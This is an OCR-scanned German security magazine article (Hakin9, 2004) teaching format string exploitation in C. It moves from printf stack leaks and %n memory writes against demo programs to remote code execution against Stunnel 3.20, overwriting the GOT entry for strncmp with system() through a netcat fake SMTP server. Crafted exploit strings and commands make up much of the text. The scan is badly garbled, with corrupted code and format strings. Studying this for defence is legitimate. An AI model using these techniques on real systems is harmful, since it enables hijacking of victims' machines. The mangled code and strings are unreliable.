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ie Formatketten in der Sprache C sind
D Textketten, die spezielle, von der Funk-

tion printf() und ihren Ableitungen
(z.B. sprintf(), fprintf()) erkennbare Markups
erkennen.

Sie ermdglichen die Bestimmung des For-
mats, in dem die der Funktion angegebenen
Argumente eingeblendet werden. Wenn die
Anwendung dem Benutzer die Ubergabe der
eigenen Textkette ermdglicht, und sie danach
als Formatkette verwendet, kann in manchen
Fallen eine Kette so von einem Eindringling
vorbereitet werden um die Ausfiihrung eines
eigenen Codes von der Anwendung zu er-
zwingen.

Die Wirkungsweise der Formatketten
Um zu verstehen, wie die Formatketten funk-
tionieren und wie man sie zur Ubernahme der
Kontrolle einer fremden Anwendung verwen-
den kann, sehen wir uns Listing 1 genau an.
Es wurde hier eine Anwendung dargestellt, die
eine Formatkette verwendet, um einen kurzen
Text auszugeben:

$ ./listing 1

Firmenname: Ogrodpol
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In der zweiten Halfte des Jahres
2000 wurde es im Bereich der
Computersicherheit plotzlich
heiss. Es wurde eine ganz neue
Klasse von Ubertretungen
entdeckt. Es hat sich gezeigt,
dass mehrere Anwendungen,
unter anderen solche bekannten
wie wu-ftpd, Apache und PHP3
oder screen ernsthafte Licken
erweisen. Und das alles durch
Formatketten.

Was wird aber passieren, wenn die Funktion
printf() eine Formatkette bekommt, aber kein
Argument dabei ist? Versuchen wir die Anwen-
dung von Listing 2 zu starten:

$ ./listing 2

Firmenname: Da

Wir analysieren die Wirkungsweise der For-
matketten, um zu erfahren, woher unsere An-

Aus diesem Artikel
erfahren Sie...

wie man die Formatketten zur Kontrolllibernah-
me einer lickenhafter Anwendung verwenden
kann,

* wie man die Fehler vermeiden kann, die Ver-
wendung der Formatketten bei eigenen An-
wendugen ermdglichen.

Was Sie bereits
wissen sollten...

» Sie sollten die Grundlagen der Programmierung
in C besitzen.
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Listing 1. Eine einfache
Anwendung die Formatketten
verwendet

int main() |
char *a = "Ogrodpol";

printf ("Firmenname: %$s\n", a);

Listing 2. Die Anwendung von
Listing 1 ohne Argument

int main()

printf ("Firmenname: %s\n");

wendung die eingeblendete Kette Da
genommen hat.

In Abbildung 1 sehen wir, was
auf dem Stack passiert, wenn die
Anwendung aus Listing 1 ausgefihrt
wird (nach dem Aufrufen der Funktion
print£()). Eine Weile vor dem Aufrufen
der Funktion werden die Argumente
auf den Stack abgelegt: der Verweis
auf die Kette a und der Verweis auf die
Formatkette. AnschlieBend bezieht
die Funktion printf() von dem Stack
den Verweis auf die Formatkette und
listet die Kette auf. Wenn sie zu dem
Tag ss kommt, bezieht sie das nachs-
te Argument vom Stack — den Verweis
auf die Variable a. Anschlieffend wird
das als Text aufgelistet, worauf der
Verweis zeigt (:s — eine Textkette,
siehe Tabelle 1).

Auf Abbildung 2 sieht man, was
auf dem Stack bei der Ausfuhrung
von printf() in der Anwendung aus
Listing 2 passiert. Wenn printf()
beim Auflisten der Formattkette auf
s trifft, versucht sie aus dem Stack
den Verweis auf die Zeichenkette zu
beziehen. Da wir aber kein Argument

Listing 3. Die einfache
Anwendung ermdéglicht die
Verwendung der Eigenschaften
von Formatketten fiir eigene
Ziele

int main(int argc, char **argv) {
char f[256];
strepy (£, argv[l]);
(£) 7

printf (f)

Formatketten

Tabelle 1. Die bedeutendsten Markups bei Formatketten

formatierender Ausgabe uiibergeben als
Markup

%d Ganzzahl Wert
su natlrliche Zahl Wert
23 nattrliche Zahl, hexa- Wert
dezimal
5s Textkette Verweis
sn die Anzahl der bereits  Verweis
eingegebenen Zeichen
A
Lokale Variablen
der Aufruffunktion 2
1] [
fo [%2]
Q <
&z Verweis auf g
§ die Variable a 2
<
51 Argumente 3
8 Verweis auf die der Funktion 2
2 Formatkette printf () 5¢
c g 70
20 og
6L Riickkehradresse x o
2 N o 9D
< der Funktion printf () =&
8 0 \/
©

Abbildung 1. Was passiert auf dem Stack bei der Ausfiihrung der

Anwendung von Listing 1

Lokale Variablen
der Aufruffunktion

Verweis auf die
Formatkette

Argument der
Funktion printf ()

Die Ruckkehradresse
der Funktion printf ()

Die Richtung des Anwachsens

der Adressen

Die Richtung des Anwachsens

des Stacks

Abbildung 2. Was passiert auf dem Stack bei der Ausfiihrung der

Anwendung aus Listing 2

weitergeleitet haben, kann die Funk-
tion den Verweis da nicht finden.
Sie bezieht also vier aufeinander-
folgende Bytes aus dem Stack und
behandelt sie als einen Verweis auf
die Zeichenkette, und listet anschlie-
Rend die vermeintliche Kette auf.

Wie kann man die
Eigenschaften der
Formatketten verwenden

Der Eindringling kann wirklich zeigen
was er drauf hat, wenn der Program-
mierer es ermoglicht hat, die Wei-
terleitung der Textkette auf solche

int main() |
int a;

printf ("eins zwei drei %n\n", s&a);

Listing 4. Die richtige Verwendung des Tags %n

printf ("es wurden %d Zeichen aufgelistet\n", a);
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Listing 5. Die Anwendung, die
wir anzugreifen versuchen

main ( argc, *F*argv)

Xy

£[2560];

strcpy (£, argv[l]);
printf (f);
printf ("\nVariable x <«
platziert unter der Adresse «
3%, ihr Inhalt to 0x%x\n", <+

&x, X);

Weise, dass sie als Formatkette
verwendet werden kann. Sehen wir
uns die Anwendung aus Listing 3
an. Theoretisch kann man da keinen
Fehler sehen — der Benutzer gibt
als das Argument der Anwendung
einen Text ein, der dann aufgelistet
wird. Wenn sich aber in der von dem
Benutzer angegebenen Kette die
Formatzeichen befinden, konnen die
Effekte ganz anders sein als jene die
von dem Programierer erwinscht
waren.

Wie wir schon nach der Ana-
lyse der Anwendung aus Listing 2
bemerkt haben, koénnen wir, bei
der Verwendung von Formatketten,
den Wert des Stacks ablesen. Wir
verwenden dazu die Kette sx, durch
die das Argument als eine vier Bytes
lange Adresse behandelt wird und
sie hexadezimal aufgelistet:

$ ./listing 3 '%$x-%x-%x'

bffffcdf-0-0

Wie es sich gezeigt hat, kdnnen
wir, indem wir einen der Tags an-
wenden, auch auf einer beliebigen
Position im Speicher schreiben.
Der daflr verantwortliche Tag ist
sn. Er verursacht, dass in der Vari-
able, deren Adresse als Argument
angegeben wurde, der Anzahl
der bisher aufgelisteten Zeichen
gespeichert wird. Die richtige Ver-
wendung dieses Tags kann man
in der Anwendung aus Listing 4
beobachten:

$ ./listing 4
eins zweil drei

es werden 15 Zeichen aufgelistet

Wie man sehen kann, listet das erste
printf() €ins zwei drei auf, und dann
speichertin der Variable a den Anzahl
der aufgelisteten Zeichen (also 15).
Das zweite printf() listet den Wert
der Variable a auf.

Wenn wir aber bei dem ersten
printf() kein Argument angegeben
hatten (Adresse der Variable a), wa-
ren von dem Stack die ersten beliebi-
gen vier Bytes bezogen, dann waren
sie als eine Adresse behandelt wor-
den und unter dieser Adresse ware
dann die Anzahl der bisher aufgelis-
teten Zeichen gespeichert worden.
Versuchen wir also der Anwendung
aus Listing 3 eine :n enthaltende
Kette einzugeben:

$ ./listing 3 '$n %n %n %n'

Segmentation fault

Die Anwendung hat versucht, den
Wert zur Bezeichnung der Anzahl
der aufgelisteten Zeichen unter einer
beliebigen Adresse zu speichern.
Das hat dann den Segmentations-
fehler verursacht.

Bessere Moglichkeiten

Das Speichern der zufélliger Zahlen
unter beliebigen Adressen gibt uns
keine grol’e Méglichkeiten. Wir kén-
nen hdchstens die Anwendung mit
einem Fehler beenden. Um etwas
mehr zu erziehlen, sollten wir gut
was wir schreiben und wo wir schrei-
ben beherrschen.

Um das zu lernen, versuchen wir
eine etwas mehr ausgebaute Ver-
sion der Anwendung aus Listing 3
anzugreifen, die dann in Listing 5
dargestellt wurde. Der Ausbau be-
ruht auf dem Hinzufiigen der Vari-
able z. Unser Ziel ist die Variable mit
einem ausgewahlten Wert mit der
Formatkette zu Uberschreiben. Wir
nehmen an, dass wir in der Variable
x die Zahl 287454020 platziert haben
also hexadezimal 0x11223344.

Wir versuchen jetzt die Kontrolle
dariiber zu gewinnen was wir schrei-
ben und wo wir schreiben. Wie es
leicht zu erahnen ist, verursacht die
Kette xxx2n das Speichern der Zahl
drei (vor =n gibt es drei Zeichen)
unter einer beliebigen Adresse, al-
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so zum Beispiel der Kette xxxxxxsn
— der Zahl sechs. Wir wissen also
schon, wie man kontrollieren kann,
was wir schreiben. Ein bisschen
schwieriger ist die Kontrolle dariber,
wo wir schreiben.

Die Adresse, unter der der Wert
gespeichert wird, wird von dem
Stack bezogen. Wie man bei dem
Vergleich der Abbildungen 1 und 2
sehen kann, an der Stelle, an der
printf() die nachsten Adressen er-
wartet (also Uber der Formatkette)
befinden sich die lokalen Variablen
der Funktion, die printf() aufruft.
In unserem Fall sind das die lokalen
Variablen der Funktion nain(). Wenn
wir in einer der Variablen die Adres-
se platzieren, an die wir schreiben
moéchten, wird sie — unter entspre-
chenden Umstanden — von printf()
als die Adresse bezogen, unter der
der Wert gespeichert sein sollte.

Um wirklich sicher zu sein, dass
printf() wirklich den Wert der Vari-
able r als einen Argument annehmen
kann, versuchen wir ihr (gleich am
Anfang des Arrays) eine Kette aaaa
hinzuzufligen, und sie anschlieend
mit dem Tag =x aufzulisten. Dazu ge-
ben wir folgenden Befehl ein:

$ ./listing 5 'AAAA-%x-%$x-%xX-%x-%x'
ARARA-bffffc44-0-0-41414141-2d78252d
Variable x platziert unter der Adresse

bffffaac, ihr Inhalt ist 0x40156238

Wie man sehen kann, hat die Funk-
tion printf() nach dem Aufruf des
Tags =x ein vier Bytes langes Wort
aus dem Stack bezogen (weil sich
dort ein Argument befinden sollte) und
es hexadezimal aufgelistet: prfrecas.
Der zweite Tag hat das Auflisten eines
zweiten vier Bytes langen Wortes aus
dem Stack verursacht, und &hnlich die
folgenden. Der vierte Tag sx hat das
Auflisten der Zahl 0x41414141 verur-
sacht, und das ist die hexadezimal
gespeicherte Kette von aaaa.

Das bedeutet, dass die ersten
vier Bytes des Arrays r[7 auf dem
Stack an einer solchen Position auf-
bewahrt werden, die printz() als das
vierte Pseudoargument betrachtet.
Wenn wir aber anstelle des vierten
Tags sx den Tag :n verwenden, wird

Hakin8 Nr. 5/2004



dieses Pseudoargument als eine
Adresse angenommen, in die wir
schreiben méchten. Die Eingabe des
Befehls:

$ ./listing 5 'AAAA-%xX-%x-%x-%n-%x'

verursacht das Speichern einer Zahl
unter der Adresse 0x41414141.

Wir mochten aber nicht an die
Adresse  0x41414141  schreiben,
sondern an jene, unter der der
Wert der Variable x gespeichert
wird. Die Adresse ist oxbffffaac.
Das Byte 0x41 in dem Array £ zu
platzieren war ganz einfach — diese
Zahl entspricht in ASCII-Code dem
Buchstaben A. Um hier die Zahl Oxbf
zu platzieren, der kein anderer einfa-
cher Buchstabe entspricht, missen
wir einen kleinen Trick anwenden.

Wir werden daflir zwei Tatsachen
ausnutzen. Erstens: mit dem Befehl
echo kénnen wir jedes beliebige Byte
auflisten. Man muss nur den Switch -e
anwenden und einen entsprechenden
Code hexadezimal angeben:

$ echo -e "\x41\x42\x43\x44"
ABCD

Zweitens: wenn wir dem Befehl
irgendein Befehlswort in Hochkom-
mas () hinzufiigen, wird es aus-
geflhrt, und das Ergebnis an den
Befehl abgegeben. Ein Beispiel: der
Befehl cat “which 1s ist gleich dem
Befehl cat /bin/1s.

Wenn wir diese zwei Informa-
tionen verbinden, konnen wir den
Befehl eingeben:

$ ./listing 5 \
‘echo -e "\x41\x41\x41\x41'"\

und er wird diesem Befehl gleich:

$ ./listing 5 'AAAA-%X-%xX-%xX-%x-%x'
Also damit das vierte Pseudoargu-
ment die Zahl 0x11223344 wird, kon-
nen wir folgenden Befehl eingeben:
$ ./listing 5 \

‘echo -e "\x11\x22\x33\x44'"\

' -¥x-%X-Fx-%x-%x'
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Sein Effekt wird wie folgt sein:

"3D-bffffcd4-0-0-44332211-2d78252d
Variable x platziert unter der Adresse

bffffaac, ihr Inhalt ist 0x40156238

Wie man sehen kann, ist jetzt das vier-
te Pseudoargument der Wert, den wir
in der Befehlszeile angegeben haben.
Die Bytes kommen aber in der umge-
kehrten Reihenfolge vor, da wir in der
Architektur little endian arbeiten.
Wenn wir also etwas an der
Stelle speichern mdéchten, an der
die Variable x aufbewahrt wird, also
unter der Adresse bffffaac, missen
wir diese Adresse in der Befehlszeile
anstatt von 0x11223344 angeben:

$ ./listing 5 \
“echo -e "\xac\xfa\xff\xbf'"\
'-5x-%$x-%$x-%x-%x'
70" 2-bffffcd4-0-0-bffffaac-2d78252d
Variable x platziert unter der Adresse

bffffaac, ihr Inhalt ist 0x40156238

Wie man sehen kann, befindet sich
in dem vierten Pseudoargument
0xbffffaac, also die Adresse der
Variable x. Jetzt reicht es wenn wir
in Platz des vierten Tags =x diesen
sn anwenden, und wir werden damit
die Modifizierung der Variable x ver-
ursachen:

./listing 5 \
“echo -e "\xac\xfa\xff\xbf'"\
'-%x-%$x-%x-%n-%x'

70" 2-bffffc44-0-0--2d78252d

Variable x platziert unter der Adresse

bffffaac, ihr Ihnhalt ist 0x12

Es ist uns gelungen die Variable x zu
Uberschreiben, aber nicht mit dem
Wert 0x11223344, sondern mit 0x12
(dezimal 18) — gerade so viele Zeichen
wurden aufgelistet, bevor die Funktion
printf() an den Tag sn gelangt ist. Es
reicht also nur vor dem Tag =n einige
beliebige Zeichen zu platzieren (zum
Beispiel den Buchstaben c), und in die
Variable x kommt eine entsprechend
gréRere Zahl.

Wir berechnen jetzt, wie viele
Buchstaben c wir hinzufigen mus-
sen. Jetzt wurde die Zahl 18 in x
geschrieben, aber wir méchten, dass

Formatketten

99 | 88 | 77 | 66

00 | 00 | 00 | 66

00 | 00 | OO | 77

00 [ 00 (00 | 88

00 [ 00 [ 0O | 99

Abbildung 3. Dieser Trick
ermaoglicht es die grolRen Zahlen mit
Hilfe der kleineren zu speichern

dort 287454020 Platz findet, also he-
xadezimal 0x11223344. Wir missen
also 287454020-18=287454002 mal
den Buchstaben c hinzufligen. Bei-
nahe dreihundert Millionen. Es wird
nicht so einfach sein, da das Array
£[1 nur 2560 Bytes umfassen kann.

Eine Abkiirzung
Bevor wir erfahren, wie man den
Tag sn zum Hinzufiigen der grof3en
Zahlen verwenden sollte, sehen wir
uns noch ein nitzliches Merkmal der
Funktion print£() an. Bisher haben
wir, um das vierte Pseudoargument
zu verwenden, es der Funktion
printf() Uberlassen, zuerst die drei
vorherigen zu verwenden. Wenn
wir also wollten, dass der Tag sn an
die in dem vierten Pseudoargument
platzierte Adresse schreibt, haben
wir zuerst in der Formattkette drei
Tags =x platziert.

Diesen Ziel kann man aber auch
leichter erzielen. Der Befehl:

$ ./listing 5 \
‘echo -e '"\x41\x41\x41\x41'"'-%45x"

verursacht das Auflisten des vierten
Pseudoarguments — daflr ist der Tag
s4sx verantwortlich.

ARAR-41414141
Variable x platziert unter der Adresse

bffff9ec, ihr Inhalt ist 0x4015d550

Ahnlich, um den Inhalt der Variable x
zu modifizieren, kdnnen wir direktes
Schreiben an die Adresse befehlen,
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00 | 00 | OO | 44

00 |00 [0O1 |33

00 [ 00 |02 | 22

00| 00| 03| M1

Abbildung 4. Modifizierung des
Tricks aus Abbildung 3

die von dem vierten Pseudoargu-
ment bezeichnet wird:

./listing 5 ‘echo -e \
"\xac\xfa\xff\xbf' '-%4$n"

za -

Variable x platziert unter der Adresse

bffffaac, ihr Thnhalt ist 0x5

Achtung: beim Experimentieren
kann sich zeigen, dass, wenn wir
als ein Argument der Befehlszeile
eine Kette von einer anderen Lange
angeben, die Variable x unter einer
anderen Adresse aufbewahrt wird.
Deshalb sollte man jedes mal auf-
merksam die von der Anwendung
angegebene Adresse der Variable x
beobachten, und wenn es nétig ist,
den in der Befehlszeile angegebe-
nen Wert entsprechend verandern.

Wie kann man groRe Zahlen
speichern

Uberlegen wir jetzt, welchen Trick
man anwenden konnte, um mit klei-
nen Zahlen groRe Werte im Speicher
zu platzieren. Einen Vorschlag haben
wir in Abbildung 3 dargestellt. Man
kann hier sehen, auf welche Weise
man in dem Speicher eine vier Bytes
lange Zahl 0x99887766 platzieren
kann, ohne auf einmal eine als Oxff
gréRere Zahl zu speichern.

Wie man sehen kann, platzieren
wir zuerst unter entsprechender
Adresse die Zahl 0x66. AnschlieRend
unter der um eins gréReren Adresse
— 0x77, und unter der folgenden 0x88
und 0x99. Im Endeffekt wurde in
dem Speicher die Zahl 0x99887766
gespeichert. Ein Nebeneffekt ist das

Uberschreiben mit drei Nullen der drei
Bytes vor 0x99887766.

Um uns die Aufgabe noch zu
erleichtern, verwenden wir noch eine
Funktion, dank der wir keine grof3e
Mengen von Zeichen schreiben mis-
sen. Die Formattags ermoglichen
uns die Zahl der geschriebenen
Zeichen auf eine bestimmte Menge
zu vervielfachen. Zum Beispiel 224x
verursacht, dass ein hexadezimaler
Wert aufgelistet wird, der zu vierund-
zwanzig Zeichen beglichen wird. Dem
aufgelisteten Inhalt wird eine entspre-
chende Anzahl Lehrzeichen hinzuge-
fugt, dass die Zahl der aufgelisteten
Zeichen zusammen 24 ergeben wird.

Wir testen jetzt wie diese Me-
thode funktioniert, indem wir in der
Variable x die Zahl 200 platzieren.
Wie wir uns daran erinnern kénnen,
lautet der Befehl:

./listing 5 \
‘echo -e '"\xac\xfa\xff\xbf' '-%4$n"'

Er verursacht das Hinzufligen der
Zahl 5 der Variable x. Um in x die
Zahl 200 (um 195 groRer) zu platzie-
ren, fligen wir der Formatkette den
Tag s195% hinzu, der 195 Zeichen
zurlckgibt:

./listing 5 \
“echo -e "\xac\xfa\xff\xbf'"\
'-%195x%4$n"

Za"2-(...)bffffc49

Variable x platziert unter der Adresse

bffffaac, ihr Inhalt ist 0xc8

0xc8 ist 200 dezimal.

Wir versuchen die beiden Metho-
den zu verbinden, und in der Variable
x die Zahl 0x99887766 zu platzieren.

Dazu fugen wir der fehlerhaften An-
wendung eine Kette hinzu, die der
Reihe nach daraus besteht:

« vier Bytes lange Adresse
— Adresse der Variable x,
« vier Bytes lange Adresse

— Adresse um eins groéRer als die
Adresse der Variable x,

» vier Bytes lange Adresse
— Adresse um zwei gréRer als die
Adresse der Variable x,

» vier Bytes lange Adresse
— Adresse um drei grofl3er als die
Adresse der Variable x,

* der Tag s%<eine zahl>x — der
soviele Zeichen zurlickgibt, wie
notwendig sind um zusammen
0x66 Zeichen zuriickzugeben,

» der Tag 245n — der die Zahl der
aufgelisteten Zeichen (also 0x66)
in der Adresse aus dem vierten
Pseudoargument platziert (also in
dem ersten Byte der Variable x),

* der Tag s<eine zahl>x — der so
viele Zeichen zurlickgibt, dass es
zusammen mit den vorher auf-
gelisteten Zeichen 0x77 Zeichen
sein werden,

» der Tag :55n — der die Zahl der
aufgelisteten Zeichen (also 0x77)
in der Adresse aus dem flnften
Pseudoargument platziert (also in
dem zweiten Byte der Variable x),

* der Tag %<eine zahl>x — der so
viele Zeichen zurlickgibt, dass es
zusammen mit den vorher aufge-
listeten Zeichen 0x88 sein sollten,

* der Tag :6sn — der die Zahl
der aufgelisteten Zeichen (also
0x88) in der Adresse aus dem
sechsten Pseudoargument plat-
ziert (also in dem dritten Byte
der Variable x),

Stunnel

mitteln.

Die Anwendung Stunnel dient dazu eine chiffrierte Tunnelverbindung Gber TCP auf-
zubauen. Es bedeutet die Mdglichkeit der Erstellung einer chiffrierten Verbindung
zwischen zwei Rechnern in der Situation, in der die sich verbindenden Anwendungen
oder Protokolle keine Chiffrierung ermdglichen.

Man kann Stunnel z.B. zum Erstellen einer chiffrierten Verbindung mit einem
SMTP-Server nutzen, auch wenn unser E-Mail-Client kein SSL unterstiitzt. Wenn
wir uns mit einem SMTP-Server verbinden mdchten, werden wir uns mit Stunnel
verbinden, der auf einem lokalen Rechner und lokalen Port funktioniert. Stunnel wird
eine chiffrierte Verbindung mit dem SMTP-Server erstellen und die Verbindung tber-
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* der Tag s<eine zahl>x — der so
viele Zeichen zurickgibt, dass
es zusammen mit den vorher
aufgelisteten Zeichen 0x99 sein
sollten,

» der Tag 27sn — der die Zahl der
aufgelisteten Zeichen (also 0x99)
in der Adresse aus dem siebten
Pseudoargument platziert (also in
dem vierten Byte der Variable x).

Wir berechnen jetzt, wie viele Zei-
chen man auflisten muss. Die vier
Adressen am Anfang der Format-
kette umfassen zusammen sech-
zehn Bytes, also muss der erste
Tag 0x66-16=86
Zeichen auflisten. Der zweite Tag
%<eine _zahl>x SOllte 0x77-0x66=17
Zeichen auflisten, der Dritte — 0x88—
0x77=17 Zeichen, und der Vierte
— 0x99-0x88=17.

Im Endeffekt wird die von uns
verwendete Kette so aussehen:

%<eine _Zahl>x

\xac\xfa\xff\xbf\xad\xfa\xff\xbf <«
\xae\xfa\xff\xbf\xaf\xfa\xff\xbf <«
%$86x%45n%17x%55n +
$17x%65n%17x%75n

Und der Befehl, der sie auflisten
wird:

$ ./listing 5 \
‘echo -e '"\xac\xfa\xff\xbf' «
"\xad\xfa\xff\xbf' «
"\xae\xfa\xff\xbf' «
"\xaf\xfa\xff\xbf' '%$86x%4Sn <
$17x%55n%17x%65n%17x%75n"

Es gibt aber nicht das Resultat wel-
ches wir erwartet haben:

707207 200" 220" 2 (.. . )bEEEEC2T
(..)0¢(..

Variable x platziert unter der Adresse

.)0(...)bffffaac
bffffa7c, ihr Ihnhalt ist 0x40156238

Die Angabe eines langeren Argu-
ments der Befehlszeile wirde die
Veranderung der Adresse der Variable
x verursachen, wir missen also ent-
sprechend die vier Adressen veran-
dern, mit denen unsere Kette beginnt:

$ ./listing 5 \
‘echo -e '"\x7c\xfa\xff\xbf' «
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do /* Copy +iline greeting */
return -1;

if (fdprintf(local wr, line)<0)
return -1;

while (strncmp (line, "220-",4)==0);

Listing 6. Fehler in der Funktion smtp_client() der Anwendung Stunnel

if (fdscanf (remote, "$["\n]", line)<0)

"\x7d\xfa\xff\xbf' <
"\x7e\xfa\xff\xbf' <
"\xT7Tf\xfa\xff\xbf'" '$86x%4Sn <«
$17x%5$n%17x%65n%17x%7%n"

(??2?)0 20" 2z 2 (...)bEEfEC2T7(...) «
0(...)0(...)bffffa8c

Variable x platziert unter der Adresse

bffffa8c, ihr Inhalt ist 0x99887766

Urspringlich wollten wir aber in der
Variable x die Zahl 0x11223344, und
nicht 0x99887766 haben. Da aber
die Zahl 0x33 kleiner als 0x44 ist,
kann man nicht erst 0x44 Zeichen
auflisten, und dann noch ein paar,
damit zusammen O0x33 Zeichen
aufgelistet werden. Zum Glick kon-
nen wir anstatt der Zahl 0x33 z.B.
0x133 verwenden, in Platz von 0x22
— 0x222, nicht 0x11 sondern 0x311.
Der Effekt wird der gleiche sein — sie-
he Abbildung 4. Unter Berlicksichti-
gung der Tatsache, dass sich bei der
Veranderung des Inhalts der Format-
kette auch die Adresse der Variable x
verandert hat, wird der entsprechen-
de Befehl wie folgt aussehen:

$ ./listing 5 ‘echo -e \
'"\x6c\xfa\xff\xbf' <
'"\x6d\xfa\xff\xbf' <
'"\x6e\xfa\xff\xbf' <
"\x6f\xfa\xff\xbf"' "\
'$35x45n%239x «
$58n%273x%65n «
$222x%7%n"

14 zmd znd zou z(...)bffffcl) «
(...)0(..

Variable x platziert unter der Adresse

) 0(...)bffffa6e

bffffa6c, ihr Ihnhalt ist 0x11332233

Ein Beispiel

vom Leben

Jetzt sollten wir unser Wissen in die
Praxis umsetzen, um die Kontrolle an
der echten Anwendung und nicht an
einer Testanwendung zu tbernehmen.
Unser Ziel ist die Version 3.20 der An-

wendung Stunnel (siehe Kasten Stun-
nel). In ihr wurde ein Fehler gefunden,
der mit Formatketten verbunden ist,
der vorkommt, wenn Stunnel als ein
SMTP-Client funktioniert.

In der Funktion smtp client(),
die in der Datei protocol.c definiert
wurde (volle Quellen dieser Version
von Stunnel finden Sie auf der Heft-
CD) befindet sich ein Fragment aus
Listing 6.

Wie man sehen kann, wird aus
dem Array 1ine eine Kette einge-
lesen, die aus einer Datei mit dem
Deskriptor remote bezogen wurde.
Anschlielend wir der Inhalt des
Arrays 1ine — mit Hilfe der Funktion
fdprintf() — in die Datei mit dem
Deskriptor 1ocal wr geschrieben.
Wenn wir in der Variable 1ine die
Formattags platzieren, werden sie
von sdprintf() interpretiert.

Wie kann man

den Fehler verwenden

Sehen wir uns genau die Quellen
von Stunnel an. Es zeigt sich, dass
die Funktion smtp client() ausge-
fuhrt wird, wenn Stunnel zur Erstel-
lung einer chiffrierten Verbindung
mit einem SMTP-Server verwendet
wird, also mit folgenden Optionen
gestartet:

$ ./stunnel -c -n smtp \

-r 127.0.0.1:2525

Es sieht danach aus, dass, wenn
der SMTP-Server dem Stunnel die
Kette mit den Formattags verschickt,
diese auch interpretiert werden. Wir
testen jetzt, ob es so in der Praxis
funktioniert. Anstatt eines SMTP-
Servers verwenden wir netcat, das
so gestartet wurde, dass es den Port
2525 abhort:

$ nc -1 -p 2525
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AnschlieRend starten wir auf dem
zweiten Terminal Stunnel, mit dem
wir die Verbindung mit netcat er-
stellen:

$ ./stunnel -c -n smtp \

-r 127.0.0.1:2525

Wenn wir in dem ersten Terminal
(jenem, auf dem netcat arbeitet) fol-
gende Formatkette schreiben:

AAAA.$X.%X.%X.%X
listet Stunnel folgendes auf:
AAAA .bffff4e(0.402£4550.0

Wenn wir also verursachen, das
unser Opfer sich mit einer fehlerhaf-
ten Stunnel-Session mit unserem
Rechner verbindet, auf dem netcat
funktioniert und sich als ein SMTP-
Server ausgibt, kdnnen wir auch eine
praparierte Formatkette verschicken.
Wie wir uns schon uberzeugt haben,
kénnen wir auf diese Artin dem Spei-
cher des Opferrechners einen belie-
bigen Wert unter beliebiger Adresse
platzieren. Wir sollten nur noch wis-
sen, wie man diese Mdglichkeit ver-
wenden kann — welche Position im
Speicher werden wir Uberschreiben
und mit welchem Wert.

Um die Kontrolle an dem Op-
ferrechner zu ergreifen, missen
wir die Anwendung dazu zwingen
den von uns bereitgestellten Code
auszufuhren. Da wir die Méglichkeit
haben auf eine beliebige Stelle des
Speichers zu schreiben, kénnen wir
verursachen, dass die Anwendung
eine andere Funktion aufrufen wird,
als der Autor wollte. Versuchen wir
die Anwendung zum Aufrufen der
Funktion system() mit den von uns
angegebenen Parametern zu zwin-
gen. Das wird den Code starten, der
als Parameter bereitgestellt wurde.

Die Verwendung

von Global Offset Table

Um die Anwendung zur Ausflihrung
der Funktion system() zu zwingen,
verwenden wir eine Eigenschaft
der dynamisch verbundenen Biblio-
theken (Dynamically Linked Library

— DLL). Sie werden von beinahe
allen Anwendungen verwendet. Also
im Moment, in dem die Anwendung
kompiliert wird, weiss man noch
nicht, unter welcher Adresse in
dem Speicher sich die Funktionen
der spater geladenen Bibliotheken
befinden werden. Darum wird an
der Stelle, an der die Anwendung
die Funktion aus der Bibliothek DLL
verwenden soll, bei der Kompilierung
ein Verweis auf eine spezielle Struk-
tur platziert, die sogenannte GOT
(eng. Global Offset Table).

Diese Struktur befindet sich im
Adressenbereich des Prozesses (im
Speicher) und enthalt die Adressen
der einzelnen Funktionen die beim
Laden der Bibliothek DLL bestimmt
wurden. Wenn die Anwendung die
Funktion strncmp() verwenden will,
fuhrt sie einen Sprung zum Array
GOT aus. Erst daraus wird der
Sprung in die entsprechende Stelle
im Speicher gemacht, in die die
Funktion strncmp () aus der entspre-
chenden Bibliothek (in diesem Fall
libc) geladen wurde.

Mal sehen, was mit der Anwen-
dung Stunnel passieren wird (siehe
Listing 6), wenn wir das Array GOT
so modifizieren, dass die Information
Uber die Funktion strncmp() auf die
Funktion system() verweisen wird. In
der Praxis anstatt von strncmp(line,
...) (die letzte Zeile in Listing 6) wird
der Befehl system(1ine, ...) ausge-
fuhrt. Da der Wert der Variable 1ine
nun von uns abhangig ist (es ist ein
Text, den wir mit netcat verschicken),
kdnnen wir darin einen beliebigen
Befehl platzieren, der anschliellend
von der Shell ausgefuhrt wird. Die mit
netcat nach Stunnel verschickte Kette,
muss also zwei Elemente enthalten:

« den Befehl, der von der Shell
ausgefihrt wird, beendet mit ei-
nem Kommentarzeichen,

« die Formatkette, die das Uber-
schreiben der von uns gewahlten
Speicherstelle (in der GOT Struk-
tur) mit dem von uns gewahlten
Wert (der Adresse der Funktion)
verursacht, so, dass anstelle von
strncmp () die Funktion system()
aufgerufen wird.
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Um die entsprechende Kette vorzu-
bereiten, mussen wir zuerst einige
Tatsachen feststellen:

* in welcher Speicherstelle (in dem
Adressenbereich des Prozesses
stunnel) sich die Information in
GOT befindet, die der Funktion
strncmp () entspricht,

* inwelcher Speicherstelle (in dem
Adressenbereich des Prozesses
stunnel) die Bibliothek libc gela-
den wurde,

* in welcher Stelle in der Bibliothek
libc sich die Funktion system()
befindet.

Um zu erfahren, in welcher Spei-
cherstelle sich die Information in
GOT befindet, die der Funktion strn-
cmp () entspricht, verwenden wir das
Tool objdump, das das Auflisten der
Informationen Uber die Enddateien
ermoglicht (also der Dateien die das
Ergebnis der Kompilierung sind). Die
Option -R (——dynamic—reloc) ermég-
licht der Anwendung objdump das
Auflisten aller dynamisch relaozi-
ierten Informationen in einer Datei
— auch der geteilten Bibliotheken.
Wir geben folgenden Befehl ein:

$ objdump -R stunnel

In der von objdump aufgelisteten In-
formation finden wir eine Information
Uber die Funktion strncmp ().

$ objdump -R stunnel | grep strncmp
08053490 R_386_JUMP_SLOT strncmp

die gefundene Adresse -
0x08053490 — ist die Speicherstelle,
die wir modifizieren méchten.

Um zu prifen, in welcher Spei-
cherstelle die Bibliothek libc geladen
wurde, sehen wir uns den Inhalt der
Datei /proc/<PID des Prozesses
stunnel>/maps genau an. Diese Da-
tei enthélt eine Liste der fir diesen
Prozess bereits gemappten Spei-
cheradressen und die Zugrifsrechte
an sie (man proc). Wir starten Stunnel
und prifen ihre PID:

$ nc -1 -p 2525

$ ./stunnel -c -n smtp \
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-r 127.0.0.1:2525
$ ps | grep stunnel
2105 pts/1 00:00:00 stunnel

In der Datei /proc/2105/maps finden
wir zwei Records uber die Bibliothek
libc:

40173000-402a6000 r-xp
00000000 07:00 81837
/mnt/aurox/lib/tls/libc-2.3.2.s0
402a6000-4022a000 rw-p
